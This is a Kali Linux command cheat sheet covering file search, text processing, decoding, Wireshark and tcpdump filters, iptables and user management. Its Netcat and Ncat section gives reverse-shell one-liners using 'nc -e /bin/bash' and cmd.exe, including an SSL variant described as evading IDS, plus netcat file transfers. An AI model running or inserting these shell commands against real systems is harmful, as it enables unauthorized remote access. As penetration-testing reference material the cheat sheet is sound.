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Kali Linux Commands

  • Set the Target IP Address to the $ip system variable
export ip=192.168.1.100
  • Find the location of a file
locate sbd.exe
  • Search through directories in the $PATH environment variable
which sbd
  • Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*
  • Show active internet connections
netstat -lntp
  • Change Password
passwd
  • Verify a service is running and listening
netstat -antp |grep apache
  • Start a service
systemctl start ssh
systemctl start apache2
  • Have a service start at boot
systemctl enable ssh
  • Stop a service
systemctl stop ssh
  • Unzip a gz file
gunzip access.log.gz
  • Unzip a tar.gz file
tar -xzvf file.tar.gz
  • Search command history
history | grep phrase_to_search_for
  • Download a webpage
wget http://www.cisco.com
  • Open a webpage
curl http://www.cisco.com
  • Print all files content in a directory
find . -print0 | while read -d $'\0' file; do cat $file; done

String manipulation

  • Count number of lines in file
wc -l index.html
  • Get the start or end of a file
head index.html
tail index.html
  • Extract all the lines that contain a string
grep "href=" index.html
  • Pick all strings from a binary file
strings <file_name> | grep <searched text>
  • Count unique lines in file
sort ips.txt | uniq -c | sort -bgr
  • Concatenate lines
cat <file name> | paste -sd "" -

cat <file name> | paste -sd "," -
  • Cut a string by a delimiter, filter results then sort
grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
  • Using Grep and regular expressions and output to a file
cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
  • Use a bash loop to find the IP address behind each host
for url in $(cat list.txt); do host $url; done
  • Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decoding using Kali

  • Decode Base64 Encoded Values
echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode
  • Decode Hexidecimal Encoded Values
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
  • ROT13 file content
cat <file_name> | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
  • Extracting a password from a hex dump file
# reverse hexdump
$ xxd -r data.txt foobar.bin

$ zcat foobar.bin | file -
bzip2 compressed data, block size = 900k

$ zcat foobar.bin | bzcat | file -
gzip compressed data, was "data4.bin", from Unix, last modified: Thu Sep 28 14:04:06 2017, max compression

$ zcat foobar.bin | bzcat | zcat | file -
POSIX tar archive (GNU)

$ zcat foobar.bin | bzcat | zcat | tar xO | file -
POSIX tar archive (GNU)

$ zcat foobar.bin | bzcat | zcat | tar xO | tar xO | file -
bzip2 compressed data, block size = 900k

$ zcat foobar.bin | bzcat | zcat | tar xO | tar xO | bzcat | file -
POSIX tar archive (GNU)

$ zcat foobar.bin | bzcat | zcat | tar xO | tar xO | bzcat | tar xO | file -
gzip compressed data, was "data9.bin", from Unix, last modified: Thu Sep 28 14:04:06 2017, max compression

$ zcat foobar.bin | bzcat | zcat | tar xO | tar xO | bzcat | tar xO | zcat | file -
ASCII text

$ zcat foobar.bin | bzcat | zcat | tar xO | tar xO | bzcat | tar xO | zcat | cat -
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Networking

  • Manage network interfaces
vi /etc/network/interfaces
  • Set static ip
vi /etc/network/interfaces

# The primary network interface
auto eth0
iface eth0 inet static
address 10.0.0.100
netmask 255.255.255.0
gateway 10.0.0.1

Restart networking with $ service networking restart

Netcat - Read and write TCP and UDP Packets

nc -nv $ip 110
  • Listen on TCP/UDP port
nc -nlvp 4444
  • Connect to a netcat port
nc -nv $ip 4444
  • Send a file using netcat
nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
  • Receive a file using netcat
nc -nlvp 4444 > incoming.exe

  • Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

    $ whereis nc

    nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

    /bin/nc.traditional -e /bin/bash 1.2.3.4 4444

  • Create a reverse shell with Ncat using cmd.exe on Windows

nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
  • Create a reverse shell with Ncat using bash on Linux
nc -nv $ip 4444 -e /bin/bash
  • Netcat for Banner Grabbing:
echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat for Nmap project which provides more security avoid IDS

  • Reverse shell from windows using cmd.exe using ssl
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
  • Listen on port 4444 using ssl
ncat -v $ip 4444 --ssl

Wireshark

  • Show only SMTP (port 25) and ICMP traffic:
tcp.port eq 25 or icmp
  • Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:
ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16
  • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:
ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
  • Some commands are equal
ip.addr == xxx.xxx.xxx.xxx

Equals

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx
 ip.addr != xxx.xxx.xxx.xxx

Equals

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

  • Display a pcap file
tcpdump -r passwordz.pcap
  • Display ips and filter and sort
tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head
  • Grab a packet capture on port 80
tcpdump tcp port 80 -w output.pcap -i eth0
  • Check for ACK or PSH flag set in a TCP packet
tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

  • Deny traffic to ports except for Local Loopback
iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP
  • Clear ALL IPTables firewall rules
  iptables -P INPUT ACCEPT
  iptables -P FORWARD ACCEPT
  iptables -P OUTPUT ACCEPT
  iptables -t nat -F
  iptables -t mangle -F
  iptables -F
  iptables -X
  iptables -t raw -F iptables -t raw -X

Users manipulation

  • Adding a new user
adduser <user name>
  • Adding a User to the sudoers File
adduser <user name> sudo
  • Switching Users
su <user name>